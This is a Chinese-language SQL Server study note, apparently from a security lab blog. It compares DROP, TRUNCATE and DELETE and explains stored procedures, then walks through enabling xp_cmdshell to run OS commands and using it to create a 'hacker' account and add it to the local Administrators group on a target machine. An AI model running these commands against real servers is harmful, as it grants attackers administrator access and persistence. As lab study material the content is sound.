drop table 表名



truncate table 表名
作用:删除表的内容,表的结构存在,可以释放空间,没有备份表之前要慎用,同时在truncate中,添加WHERE子句是不可能的。
(1)实例:还是student表表中存有数据,我们使用truncate删除student表。
可以看到表中的数据被清空,但是表结构还在,说明执行语句之后,发现数据表的结构还在,也就是不删除定义

(2)实例:
使用delete删除yh5,然后发现表中sid标识列不连续(体现了delete删除是不释放空间的),先用delete删除表中数据,然后在填入数据发现表中sid标识列不连续,这体现了delete删除是不释放空间的。



然后我们再用truncate table student删除数据,在重新插入数据,同样sid是标识列,发现插入数据的时候,标识列连续了(体现了truncate删除是释放空间)注意:truncate 不能删除行数据,要删就要把表清空

delete from student where name='yh5';可以查看truncate中的实例delete from student;或delete * from student相同点:
drop、delete、truncate 都是删除表的内容。
不同点:
delete:删除表的内容,表的结构还存在,不释放空间,可以回滚恢复;
drop:删除表内容和结构,释放空间,没有备份表之前要慎用;
truncate:删除表的内容,表的结构存在,可以释放空间,没有备份表之前要慎用;
执行速度:drop > truncate > delete
存储过程是指为了完成特定的功能由一条或多条sql语句组成的集合,这些语句集合可以被多次调用,类似于批处理文件,通常指定一个名称进行存储,经系统进行编译后存储到数据库的服务器中,作为数据库的对象,形成一个处理单元,存储过程创建之后,用户通过指定存储过程名称与参数,调用该存储过程并且执行,在调用的过程中允许用户声明变量,设置条件,以便增强程序设计的能力。相当于调用函数,创建存储过程是面向开发者的。

利用xp_cmdshell 建立文件
use master使用系统数据库
RECONFIGURE;刷新权限
exec sp_configure 'show advanced options',1;打开系统高级设置
RECONFIGURE;再次刷新权限
exec sp_configure 'xp_cmdshell',1;打开以操作系统命令行解释器的方式执行给定的命令字符串
RECONFIGURE;再次刷新权限
exec xp_cmdshell 'mkdir c:\myfile',no_output;在c盘下创建文件


利用xp_cmdshell建立远程连接
首先打开sql server 远程登录,修改后重启服务SQL Server (MSSQLSERVER)


exec xp_cmdshell 'whoami'查看当前使用用户
exec xp_cmdshell 'net user'查看电脑上的用户组
exec xp_cmdshell 'net user hacker 123456 /add';创建hacker用户
exec xp_cmdshell 'net localgroup Administrators hacker /add';将其加入到管理员组中



打开exec sp_configure 'show advanced options',1;
recongigure
关闭exec sp_configure 'xp_cmdshell',0;
recongigure
关闭exec sp_configure 'show advanced options',0;
recongigure
要求靶机实际:需要满足以下条件 (很少能满足)
1、xp_configure设置 两个 show advanced options,xp_cmdshell 设置为1
2、执行net user add 设置服务的本地用户